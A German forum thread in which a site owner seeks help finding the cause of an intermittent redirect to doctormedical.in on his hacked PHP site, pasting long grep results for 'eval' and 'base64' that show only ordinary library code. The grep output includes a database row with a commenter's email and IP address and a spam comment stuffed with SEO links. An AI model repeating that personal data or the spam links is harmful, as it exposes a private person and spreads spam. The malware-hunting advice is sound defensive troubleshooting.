Homepage gehackt - Redirect

Hallo liebe Leute,

ich suche Hilfe. Leider wurde unsere Homepage offensichtlich gehackt und ein Rederict auf doctormedical.in eingebaut - jedoch tritt dieser Redirect nicht immer auf sondern nur alle heiligen Zeit, dennoch mehrmals täglich.

Ich komme zwar aus dem IT-Bereich bin aber in dieser Hinsicht nicht sonderlich versiert. Ich habe bereits sämtlich PHP/HTML Files usw. auf Hinweise durchsucht, aber nichts gefunden, ebenso wenig in der Datenbank.

Ich hoffe auf eure Hilfe und wäre extrem dankbar, wenns jemand herausfindet. Bin schon echt verzweifelt.

Details zur Homepage gibt es gerne per Anfrage.

vielen dank und glg
Max
 
Schau mal nach, ob du eval- und/oder base64-Anweisungen im PHP-Code findest. Oftmals werden Anweisungen auf diese Weise verschleiert.
 
Entweder lädst du die Dateien in eine Programmierumgebung und untersuchst sie dort mit der dateiübergreifenden Suche. Oder du hast einen Linux-Rechner zur Verfügung und nutzt dort das Programm 'grep' zum Durchsuchen der Dateien (grep -r 'eval' /ordner/mit/den/dateien).
 
Da findet er doch einiges:

Code:
Search "eval" (1390 hits in 94 files)
  C:\Users\Maxomer\Desktop\Neuer Ordner\apb-1.1.02\apb_view_class.php (1 hit)
    Line 178:         eval("\$this->inner_string_output .= $this->inner_string;");
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\admin\campaign-edit.php (12 hits)
    Line 745:         day = eval ("document.clientform." + o + "Day.value");
    Line 746:         month = eval ("document.clientform." + o + "Month.value");
    Line 747:         year = eval ("document.clientform." + o + "Year.value");
    Line 751:             eval ("document.clientform." + o + "Day.selectedIndex = 0");
    Line 752:             eval ("document.clientform." + o + "Month.selectedIndex = 0");
    Line 753:             eval ("document.clientform." + o + "Year.selectedIndex = 0");
    Line 758:             eval ("document.clientform." + o + "Set[0].checked = true");
    Line 767:         day = eval ("document.clientform." + o + "Day.value");
    Line 768:         month = eval ("document.clientform." + o + "Month.value");
    Line 769:         year = eval ("document.clientform." + o + "Year.value");
    Line 773:             eval ("document.clientform." + o + "Set[0].checked = true");
    Line 777:             eval ("document.clientform." + o + "Set[1].checked = true");
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\admin\lib-config.inc.php (3 hits)
    Line 189:                     @eval ("$"."value ".$regs[2].";");
    Line 237:                     case 'random_retrieve': $regs[1] = 'retrieval_method'; break;
    Line 277:                     @eval ("$"."value ".$regs[2].";");
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\admin\lib-install-db.inc.php (1 hit)
    Line 61: function phpAds_checkDatabaseValid ()
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\admin\lib-statistics.inc.php (1 hit)
    Line 535:                     eval (trim ($parser_lines[$parser_i]).';');
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\admin\report-execute.php (1 hit)
    Line 54:         @eval ($executestring);
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\admin\settings-host.php (1 hit)
    Line 138:         eval("$"."geo_plugin_info = phpAds_".$phpAds_geoPluginID."_getInfo();");
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\admin\upgrade.php (1 hit)
    Line 363:             $continue = phpAds_checkDatabaseValid();
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\admin\zone-probability.php (1 hit)
    Line 245:                 // Chain already evaluated, exit
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\config.inc.php (1 hit)
    Line 189: /* Banner retrieval                                      */
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\brazilian_portuguese\settings.lang.php (10 hits)
    Line 170: $GLOBALS['strUseAcl']                = "Evaluate delivery limitations during delivery";
    Line 179: $GLOBALS['strKeywordRetrieval']            = "Keyword retrieval";
    Line 179: $GLOBALS['strKeywordRetrieval']            = "Keyword retrieval";
    Line 180: $GLOBALS['strBannerRetrieval']            = "Banner retrieval method";
    Line 180: $GLOBALS['strBannerRetrieval']            = "Banner retrieval method";
    Line 181: $GLOBALS['strRetrieveRandom']            = "Random banner retrieval (default)";
    Line 182: $GLOBALS['strRetrieveNormalSeq']        = "Normal sequental banner retrieval";
    Line 183: $GLOBALS['strWeightSeq']            = "Weight based sequential banner retrieval";
    Line 184: $GLOBALS['strFullSeq']                = "Full sequential banner retrieval";
    Line 188: $GLOBALS['strZonesSettings']            = "Zone retrieval";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\chinese_big5\settings.lang.php (2 hits)
    Line 137: $GLOBALS['strKeywordRetrieval']            = "獲取關鍵字";
    Line 138: $GLOBALS['strBannerRetrieval']            = "廣告獲取模式";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\chinese_gb2312\settings.lang.php (2 hits)
    Line 157: $GLOBALS['strKeywordRetrieval']            = "获取关键字";
    Line 158: $GLOBALS['strBannerRetrieval']            = "广告获取模式";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\dutch\settings-help.lang.php (7 hits)
    Line 168:     Normaal gesproken worden alle AdViews bijgehouden, maar in het geval dat u geen
    Line 182:     Normaal gesproken worden alle AdViews bijgehouden, maar in het geval dat u geen
    Line 221:     bij ".$phpAds_productname.", omdat in dat geval zowiezo alleen het IP adres wordt opgeslagen.
    Line 225:     De domeinnaam van de bezoeker wordt meestal door de web server uitgezocht, maar in sommige gevallen
    Line 234:     geval zal ".$phpAds_productname." het IP adres of de domeinnaam van de proxy server opslaan, inplaats 
    Line 305:     verstuurd wordt verminkt overkomt. Indien dit bij u het geval is, dan kunt u deze
    Line 543:     optie staat standaard uit, omdat de HTML code in sommige gevallen storend kan werken op de
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\dutch\settings.lang.php (4 hits)
    Line 88:                            afgesloten worden. Het is mogelijk dat deze problemen slechts tijdelijk zijn, in dat geval kunt u op <b>Verder</b> klikken en opnieuw
    Line 165: $GLOBALS['strUseAcl']                = "Evalueer de leveringsbeperkingen tijdens de aflevering";
    Line 174: $GLOBALS['strKeywordRetrieval']            = "Sleutelwoord selectie";
    Line 175: $GLOBALS['strBannerRetrieval']            = "Banner selectie methode";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\english\settings-help.lang.php (1 hit)
    Line 316:         ".$phpAds_productname." includes a powerful retrieval system using direct selection. 
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\english\settings.lang.php (10 hits)
    Line 169: $GLOBALS['strUseAcl']                = "Evaluate delivery limitations during delivery";
    Line 178: $GLOBALS['strKeywordRetrieval']            = "Keyword retrieval";
    Line 178: $GLOBALS['strKeywordRetrieval']            = "Keyword retrieval";
    Line 179: $GLOBALS['strBannerRetrieval']            = "Banner retrieval method";
    Line 179: $GLOBALS['strBannerRetrieval']            = "Banner retrieval method";
    Line 180: $GLOBALS['strRetrieveRandom']            = "Random banner retrieval (default)";
    Line 181: $GLOBALS['strRetrieveNormalSeq']        = "Normal sequental banner retrieval";
    Line 182: $GLOBALS['strWeightSeq']            = "Weight based sequential banner retrieval";
    Line 183: $GLOBALS['strFullSeq']                = "Full sequential banner retrieval";
    Line 187: $GLOBALS['strZonesSettings']            = "Zone retrieval";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\french\settings.lang.php (3 hits)
    Line 165: $GLOBALS['strUseAcl']                = 'Evaluer les limitations lors de la distribution';
    Line 174: $GLOBALS['strKeywordRetrieval']            = 'Autoriser la sélection des bannières par mots clés';
    Line 175: $GLOBALS['strBannerRetrieval']            = 'Méthode de sélection des bannières';
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\german\settings.lang.php (2 hits)
    Line 173: $GLOBALS['strKeywordRetrieval']            = "Schlüsselwortselektion";
    Line 174: $GLOBALS['strBannerRetrieval']            = "Modus für Bannerselektion";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\hebrew\settings.lang.php (2 hits)
    Line 261: $GLOBALS['strKeywordRetrieval']            = "שליפה לפי מילות מפתח";
    Line 263: $GLOBALS['strBannerRetrieval']            = " שיטת שליפת הבאנרים";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\hungarian\settings.lang.php (2 hits)
    Line 148: $GLOBALS['strKeywordRetrieval']            = "Kulcsszó visszakeresés";
    Line 149: $GLOBALS['strBannerRetrieval']            = "Reklám visszakeresési mód";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\indonesian\settings.lang.php (3 hits)
    Line 137: $GLOBALS['strUseAcl']                = "Mengevaluasikan batas penyampaian selama menyampaian";
    Line 146: $GLOBALS['strKeywordRetrieval']            = "Pencairan Kata Kunci";
    Line 147: $GLOBALS['strBannerRetrieval']            = "Metode Pencairan Banner";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\italian\settings.lang.php (2 hits)
    Line 181: $GLOBALS['strKeywordRetrieval']                = "Abilita l'uso di parole chiave";
    Line 182: $GLOBALS['strBannerRetrieval']                = "Metodo di scelta del banner";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\korean\settings-help.lang.php (1 hit)
    Line 243:         ".$phpAds_productname." includes a powerful retrieval system using direct selection. 
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\korean\settings.lang.php (2 hits)
    Line 137: $GLOBALS['strKeywordRetrieval']            = "키워드 검색";
    Line 138: $GLOBALS['strBannerRetrieval']            = "배너 검색 방법";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\polish\settings-help.lang.php (1 hit)
    Line 315:         ".$phpAds_productname." includes a powerful retrieval system using direct selection. 
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\polish\settings.lang.php (2 hits)
    Line 148: $GLOBALS['strKeywordRetrieval']            = "S³owa Kluczowe";
    Line 149: $GLOBALS['strBannerRetrieval']            = "Metoda Doboru Bannerów";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\russian_cp1251\settings-help.lang.php (1 hit)
    Line 173: $GLOBALS['phpAds_hlp_retrieval_method'] = "
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\russian_cp1251\settings.lang.php (2 hits)
    Line 113: $GLOBALS['strKeywordRetrieval']            = "Извлечение по ключевым словам";
    Line 114: $GLOBALS['strBannerRetrieval']            = "Метод извлечения баннеров";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\russian_koi8r\settings-help.lang.php (1 hit)
    Line 173: $GLOBALS['phpAds_hlp_retrieval_method'] = "
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\russian_koi8r\settings.lang.php (2 hits)
    Line 113: $GLOBALS['strKeywordRetrieval']            = "éÚ×ÌÅÞÅÎÉÅ ÐÏ ËÌÀÞÅ×ÙÍ ÓÌÏ×ÁÍ";
    Line 114: $GLOBALS['strBannerRetrieval']            = "íÅÔÏÄ ÉÚ×ÌÅÞÅÎÉÑ ÂÁÎÎÅÒÏ×";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\spanish\settings.lang.php (2 hits)
    Line 128: $GLOBALS['strKeywordRetrieval']            = "Recuperación de Palabra Clave";
    Line 129: $GLOBALS['strBannerRetrieval']            = "Metodo de Recuperación de Banner";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\language\turkish\settings.lang.php (2 hits)
    Line 133: $GLOBALS['strKeywordRetrieval']            = "Anahtar kelime düzeltmeleri";
    Line 134: $GLOBALS['strBannerRetrieval']            = "Banner düzeltme metodu";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\libraries\defaults\config.template.php (1 hit)
    Line 179: /* Banner retrieval                                      */
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\libraries\lib-limitations.inc.php (8 hits)
    Line 28:         // Set to true in case of error in eval
    Line 31:         @eval('$result = ('.$row['compiledlimitation'].');');
    Line 262:         // Evaluate country code
    Line 283:         // Evaluate continent code
    Line 304:         // Evaluate region code
    Line 325:         // Evaluate region code
    Line 388:         // Evaluate DMA code
    Line 451:         // Evaluate netspeed code
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\libraries\lib-view-main.inc.php (2 hits)
    Line 324:                         @eval ('$parser_result = '.trim($parser_reg[3]).';');
    Line 341:                                 @eval (trim ($parser_lines[$parser_i]).';');
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\libraries\lib-view-zone.inc.php (1 hit)
    Line 34:     // Check if zone was already evaluated in the chain
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\libraries\lib-xmlrpc.inc.php (8 hits)
    Line 588:                 // simply get a bit of whitespace in the eval
    Line 1631:                     //print "<PRE>---EVALING---[" .
    Line 1640:                 //@eval('$v=' . $_xh[$parser]['st'] . '; $allOK=1;');
    Line 1822:                         $rs.=$this->serializeval($val2);
    Line 1832:                         $rs.=$this->serializeval($val[$i]);
    Line 1863:             return $this->serializeval($this);
    Line 1866:         function serializeval($o)
    Line 1927:                     //eval('$b->'.$id.' = $cont;');
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\libraries\lib-xmlrpcs.inc.php (1 hit)
    Line 445:                     //@eval('$m->addParam(' . $_xh[$parser]['params'][$i]. '); $allOK=1;');
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\misc\ChangeLog.txt (10 hits)
    Line 123:               - 2005-07-11:  Removed eval call from XML-RPC invocation to increase security  (Matteo)
    Line 585:               - 2002-09-08:  Fixed PHP warning when trying to evaluate a geotracking limitation without a database present  (Niels)
    Line 763:               - 2002-02-18:  Removed 'banner retrieval method' settings  (Niels) 
    Line 885:               - 2002-01-17:  Replaced "random_retrieve" with "retrieval_method" into help files  (Matteo) 
    Line 1040:               - Sending Compact Policy using P3P header for cookie evaluation  (Niels)
    Line 1140:               - Weight based sequential banner retrieval now also takes
    Line 1241:               - sequential banner retrieval works again (Niels)
    Line 1274:             + Added two extra banner retrieval methods (Niels)
    Line 1298:             + Bugfix: sequential banner retrieval did not work (Niels)
    Line 1416:                         + Added support for sequential banner retrieval
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\misc\samples\xmlrpc\php\lib-xmlrpc.inc.php (8 hits)
    Line 588:                 // simply get a bit of whitespace in the eval
    Line 1631:                     //print "<PRE>---EVALING---[" .
    Line 1640:                 //@eval('$v=' . $_xh[$parser]['st'] . '; $allOK=1;');
    Line 1822:                         $rs.=$this->serializeval($val2);
    Line 1832:                         $rs.=$this->serializeval($val[$i]);
    Line 1863:             return $this->serializeval($this);
    Line 1866:         function serializeval($o)
    Line 1927:                     //eval('$b->'.$id.' = $cont;');
  C:\Users\Maxomer\Desktop\Neuer Ordner\classes\FirePHPCore\FirePHP.class.php (1 hit)
    Line 1433:      * Javascript, and can be directly eval()'ed with no further parsing
  C:\Users\Maxomer\Desktop\Neuer Ordner\classes\FirePHPCore\FirePHP.class.php4 (1 hit)
 
Erstmal sehe ich da nichts auffälliges. Allerdings kenne ich natürlich auch den Inhalt der evaluierten Variablen nicht. Du wirst also vermutlich nicht drumrum kommen auch mal zu schauen welche Variablen-Inhalte jeweils evaluiert werden. Ggf. auch einfach mal nach 'base64' suchen. Vielleicht kommst du dadurch schneller an's Ziel.

Da es hier aber scheinbar um OpenX geht, kann es auch sein, dass euch einfach via Ads, die von ausserhalb geladen werden, Code untergeschoben wird. Ausserdem gab es in OpenX im Laufe der letzten Jahre immer mal wieder SQL-Injection-Lücken. Somit besteht auch die Möglichkeit, dass der Schadcode in die Datenbank eingeschleust wurde.

Ich befürchte, da wirst du um eine sehr viel weiter reichende Analyse nicht drumrum kommen. Sofern du das Redirect selbst in einem Browser nachvollziehen kannst, könnte es helfen, wenn du mal mit Firebug o.ä. die Aufrufe trackst um zu sehen welche Ads abgerufen werden bevor das Redirect auftritt.
 
Firebug wurde mir auch schon empfohlen und habe ich getestet, aber ich wusste nicht so recht wo und nach was ich da drin nachsehen soll.

der redirect selbst tritt eigentlich nur bei der startpage auf... das mit de SQL Injections weiß ich... der Code ist uralt und ich bin auch schon dringend auf der suche nach einem programmierer, der mir ne neue page baut, is halt aber nicht so einfach leider.

es handelt sich um die seite: EARSHOT: Das Underground E - Zine

die Base-Abfrage findet das:


Code:
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\libraries\deliverycache\cache-file.inc.php (2 hits)
    Line 52:         $cache_literal .= "$"."cache_contents = unserialize(base64_decode(\"".base64_encode(serialize($cache))."\"));\n\n";
    Line 52:         $cache_literal .= "$"."cache_contents = unserialize(base64_decode(\"".base64_encode(serialize($cache))."\"));\n\n";
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\libraries\lib-io.inc.php (3 hits)
    Line 215:         // Compress and base64 encode it to save space/bandwidth and to allow more cookies
    Line 217:             $cookies = base64_encode(gzdeflate($cookies));
    Line 266:                     $c = @gzinflate(@base64_decode($c));
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\libraries\lib-xmlrpc.inc.php (22 hits)
    Line 74:         global $xmlrpcBase64;
    Line 98:     $xmlrpcBase64='base64';
    Line 98:     $xmlrpcBase64='base64';
    Line 109:         $xmlrpcBase64   => 1,
    Line 121:         'BASE64' => array('VALUE'),
    Line 626:             case 'BASE64':
    Line 646:                 elseif ($name=='BASE64')
    Line 729:             case 'BASE64':
    Line 743:                 elseif ($name=='BASE64')
    Line 745:                     //$_xh[$parser]['st'].='base64_decode("'. $_xh[$parser]['ac'] . '")';
    Line 747:                     ///@todo check for failure of base64 decoding / catch warnings
    Line 748:                     $_xh[$parser]['value']=base64_decode($_xh[$parser]['ac']);
    Line 1069:                 $credentials='Authorization: Basic ' . base64_encode($username . ':' . $password) . "\r\n";
    Line 1811:             global $xmlrpcTypes, $xmlrpcBase64, $xmlrpcString,
    Line 1839:                         case $xmlrpcBase64:
    Line 1840:                             $rs.="<${typ}>" . base64_encode($val) . "</${typ}>";
    Line 1898:             global $xmlrpcBoolean, $xmlrpcBase64;
    Line 1937:             //global $xmlrpcBoolean, $xmlrpcBase64;
    Line 2118:         global $xmlrpcBase64;
    Line 2141:                 $xmlrpc_val->addScalar($php_val, $xmlrpcBase64); //$xmlrpcString);
    Line 2171:             global $xmlrpcBase64;
    Line 2194:                     $xmlrpc_val->addScalar($php_val, $xmlrpcBase64); //$xmlrpcString);
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\misc\ChangeLog.txt (1 hit)
    Line 248:               - 2003-11-07:  XML-RPC transfers from server to client are now base64 encoded to prevent XML errors with HTML entities  (Niels)
  C:\Users\Maxomer\Desktop\Neuer Ordner\banner\openx\misc\samples\xmlrpc\php\lib-xmlrpc.inc.php (22 hits)
    Line 74:         global $xmlrpcBase64;
    Line 98:     $xmlrpcBase64='base64';
    Line 98:     $xmlrpcBase64='base64';
    Line 109:         $xmlrpcBase64   => 1,
    Line 121:         'BASE64' => array('VALUE'),
    Line 626:             case 'BASE64':
    Line 646:                 elseif ($name=='BASE64')
    Line 729:             case 'BASE64':
    Line 743:                 elseif ($name=='BASE64')
    Line 745:                     //$_xh[$parser]['st'].='base64_decode("'. $_xh[$parser]['ac'] . '")';
    Line 747:                     ///@todo check for failure of base64 decoding / catch warnings
    Line 748:                     $_xh[$parser]['value']=base64_decode($_xh[$parser]['ac']);
    Line 1069:                 $credentials='Authorization: Basic ' . base64_encode($username . ':' . $password) . "\r\n";
    Line 1811:             global $xmlrpcTypes, $xmlrpcBase64, $xmlrpcString,
    Line 1839:                         case $xmlrpcBase64:
    Line 1840:                             $rs.="<${typ}>" . base64_encode($val) . "</${typ}>";
    Line 1898:             global $xmlrpcBoolean, $xmlrpcBase64;
    Line 1937:             //global $xmlrpcBoolean, $xmlrpcBase64;
    Line 2118:         global $xmlrpcBase64;
    Line 2141:                 $xmlrpc_val->addScalar($php_val, $xmlrpcBase64); //$xmlrpcString);
    Line 2171:             global $xmlrpcBase64;
    Line 2194:                     $xmlrpc_val->addScalar($php_val, $xmlrpcBase64); //$xmlrpcString);
  C:\Users\Maxomer\Desktop\Neuer Ordner\classes\phpmailer\class.phpmailer.php (20 hits)
    Line 66:      * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
    Line 2026:     public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    Line 2184:      * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
    Line 2190:     protected function encodeFile($path, $encoding = 'base64')
    Line 2224:      * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
    Line 2228:     public function encodeString($str, $encoding = 'base64')
    Line 2232:             case 'base64':
    Line 2233:                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
    Line 2302:                 $encoded = $this->base64EncodeWrapMB($str, "\n");
    Line 2304:                 $encoded = base64_encode($str);
    Line 2356:     public function base64EncodeWrapMB($str, $lf = null)
    Line 2370:         // Base64 has a 4:3 ratio
    Line 2378:                 $chunk = base64_encode($chunk);
    Line 2494:         $encoding = 'base64',
    Line 2531:     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    Line 2580:         $encoding = 'base64',
    Line 2869:                         'base64',
    Line 3195:             return base64_encode($signature);
    Line 3284:         $DKIMb64 = base64_encode(pack("H*", sha1($body))); // Base64 of packed binary SHA-1 hash of body
    Line 3284:         $DKIMb64 = base64_encode(pack("H*", sha1($body))); // Base64 of packed binary SHA-1 hash of body
  C:\Users\Maxomer\Desktop\Neuer Ordner\classes\phpmailer\class.smtp.php (8 hits)
    Line 307:                     base64_encode("\0" . $username . "\0" . $password),
    Line 319:                 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
    Line 322:                 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
    Line 354:                     'AUTH NTLM ' . base64_encode($msg1),
    Line 363:                 $challenge = base64_decode($challenge);
    Line 376:                 return $this->sendCommand('Username', base64_encode($msg3), 235);
    Line 384:                 $challenge = base64_decode(substr($this->last_reply, 4));
    Line 390:                 return $this->sendCommand('Username', base64_encode($response), 235);
  C:\Users\Maxomer\Desktop\Neuer Ordner\db322212_1.sql (3 hits)
    Line 169375: (8723, 1, 1, 'Aries', 'aries666@gmx.at', 'www.hellsaw.at.tt', 'schau mal dort, wenn dir das zu viel ist ists eben pech *g*\r\n\r\nhttp://www.lufthansa.com/online/portal/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4g39LB0BclB2S76keiijkhCvh75ualAiUhzkIihc5B-VE5qemJypX6wvrd-gH5BbmhEeb6jIgAwMKN-/delta/base64xml/L0lJSklncFNpbEEhIS9JRGpBQUF4QUFFUkNRc1NLU2chIS80SVVHUllRcU5FekNVYUEhLzZfMF8xSDlGLzdfMF8xMUQ2L24!?originName=wien&cid=18002&originCode=wien&outboundDay=null&tripType=R&infants=0&inboundTime=0600&ibemode=simple&bookingClass=DEMALL&testFlag=null&destinationCode=hamburg&outboundDate=02.08.2007&inboundMonth=null&outboundTime=0000&adults=1&flexibility=null&inboundDay=null&l=de&destinationName=hamburg&searchType=FARE&outboundMonth=null&cor=18002&inboundDate=06.08.2007&task=flm&children=0', '2007-07-07 20:52:22', 'RE: Wacken-Zugtickets', '85.238.183.14', '', 'Aries', '0000-00-00 00:00:00', '', 0, 0),
    Line 201005: (2929, 'reviews', 'YBJBnrAXtIGiP', 'ijgwtkbg@surgmhie.com', '', 'comment2, <a href="http://dmoyer.com/2007/blog/2/blog.php?p=5589#">spokane injury attorneys</a>, http://dmoyer.com/2007/blog/2/blog.php?p=5589# spokane injury attorneys,  jpkugg, <a href="http://dmoyer.com/2007/blog/9/blog.php?p=9356#">games file gamebase64</a>, http://dmoyer.com/2007/blog/9/blog.php?p=9356# games file gamebase64,  7199, <a href="http://mojazabava.worldispnetwork.com/gallery/faq/3/blog.php?p=11456#">reisling cheese</a>, http://mojazabava.worldispnetwork.com/gallery/faq/3/blog.php?p=11456# reisling cheese,  81701, <a href="http://dmoyer.com/2007/blog/4/blog.php?p=6540#">soft & furry yarn trooper knit hat pattern</a>, http://dmoyer.com/2007/blog/4/blog.php?p=6540# soft & furry yarn trooper knit hat pattern,  oex, <a href="http://mojazabava.worldispnetwork.com/gallery/faq/2/blog.php?p=10828#">site development feasibility studies</a>, http://mojazabava.worldispnetwork.com/gallery/faq/2/blog.php?p=10828# site deve...
    Line 201005: (2929, 'reviews', 'YBJBnrAXtIGiP', 'ijgwtkbg@surgmhie.com', '', 'comment2, <a href="http://dmoyer.com/2007/blog/2/blog.php?p=5589#">spokane injury attorneys</a>, http://dmoyer.com/2007/blog/2/blog.php?p=5589# spokane injury attorneys,  jpkugg, <a href="http://dmoyer.com/2007/blog/9/blog.php?p=9356#">games file gamebase64</a>, http://dmoyer.com/2007/blog/9/blog.php?p=9356# games file gamebase64,  7199, <a href="http://mojazabava.worldispnetwork.com/gallery/faq/3/blog.php?p=11456#">reisling cheese</a>, http://mojazabava.worldispnetwork.com/gallery/faq/3/blog.php?p=11456# reisling cheese,  81701, <a href="http://dmoyer.com/2007/blog/4/blog.php?p=6540#">soft & furry yarn trooper knit hat pattern</a>, http://dmoyer.com/2007/blog/4/blog.php?p=6540# soft & furry yarn trooper knit hat pattern,  oex, <a href="http://mojazabava.worldispnetwork.com/gallery/faq/2/blog.php?p=10828#">site development feasibility studies</a>, http://mojazabava.worldispnetwork.com/gallery/faq/2/blog.php?p=10828# site deve...
  C:\Users\Maxomer\Desktop\Neuer Ordner\links\php-cgi.core (6 hits)
    Line 744: „þÚPç
    Line 744: „þÚPç
    Line 8652: Ò*
    Line 8655: Ò*
    Line 9983: „þÚPç
    Line 9983: „þÚPç
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\admin\class.html.mime.mail-outlookfix.inc (5 hits)
    Line 127:      return base64_decode($req[0]);
    Line 270:   function add_attachment($file, $name = '', $c_type='application/octet-stream', $encoding = 'base64'){
    Line 357:     $params['encoding']     = 'base64';
    Line 384: **                            "7bit", "quoted-printable" or "base64" (all without quotes).
    Line 387: **                            "7bit", "quoted-printable" or "base64" (all without quotes).
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\admin\class.html.mime.mail.inc (5 hits)
    Line 127:      return base64_decode($req[0]);
    Line 270:   function add_attachment($file, $name = '', $c_type='application/octet-stream', $encoding = 'base64'){
    Line 359:     $params['encoding']     = 'base64';
    Line 386: **                            "7bit", "quoted-printable" or "base64" (all without quotes).
    Line 389: **                            "7bit", "quoted-printable" or "base64" (all without quotes).
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\admin\class.image.inc (1 hit)
    Line 139:        $originalname,$type,$width,$height,base64_encode($contents))
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\admin\class.phplistmailer.php (3 hits)
    Line 9:     var $encoding = 'base64';
    Line 102:       $this->attachment[$cur][0] = chunk_split(base64_encode($contents), 76, $this->LE);
    Line 169:     function EncodeFile ($path, $encoding = "base64") {
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\admin\connect.php (2 hits)
    Line 599:         fwrite($fp,"$column:".base64_encode($data[$column])."\n");
    Line 623:         $record[$column] = base64_decode($value);
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\admin\image.php (2 hits)
    Line 19:   echo base64_decode($row["data"]);
    Line 22:   print base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAABGdBTUEAALGPC/xhBQAAAAZQTFRF////AAAAVcLTfgAAAAF0Uk5TAEDm2GYAAAABYktHRACIBR1IAAAACXBIWXMAAAsSAAALEgHS3X78AAAAB3RJTUUH0gQCEx05cqKA8gAAAApJREFUeJxjYAAAAAIAAUivpHEAAAAASUVORK5CYII=');
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\admin\mimePart.php (5 hits)
    Line 54: * $params['encoding']     = 'base64';
    Line 120:      *                  encoding     - The encoding to use, 7bit, base64, or quoted-printable
    Line 258:      * @param $encoding The encoding type to use, 7bit, base64,
    Line 273:             case 'base64':
    Line 274:                 return rtrim(chunk_split(base64_encode($data), 76, MAIL_MIMEPART_CRLF));
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\admin\phpmailer\ChangeLog.txt (2 hits)
    Line 138: and binary attachment are sent as is, base64 are encoded
    Line 139: * Can set Encoding to base64 to send 8 bits body
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\admin\phpmailer\class.phpmailer.php (9 hits)
    Line 46:      * "7bit", "binary", "base64", and "quoted-printable".
    Line 999:     function AddAttachment($path, $name = "", $encoding = "base64",
    Line 1087:     function EncodeFile ($path, $encoding = "base64") {
    Line 1109:     function EncodeString ($str, $encoding = "base64") {
    Line 1112:           case "base64":
    Line 1114:               $encoded = chunk_split(base64_encode($str), 76, $this->LE);
    Line 1172:         $encoded = base64_encode($str);
    Line 1250:     function AddStringAttachment($string, $filename, $encoding = "base64",
    Line 1277:     function AddEmbeddedImage($path, $cid, $name = "", $encoding = "base64",
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\admin\phpmailer\class.smtp.php (2 hits)
    Line 164:         fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
    Line 182:         fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\admin\phpmailer\README (1 hit)
    Line 14: - Support for 8bit, base64, binary, and quoted-printable encoding
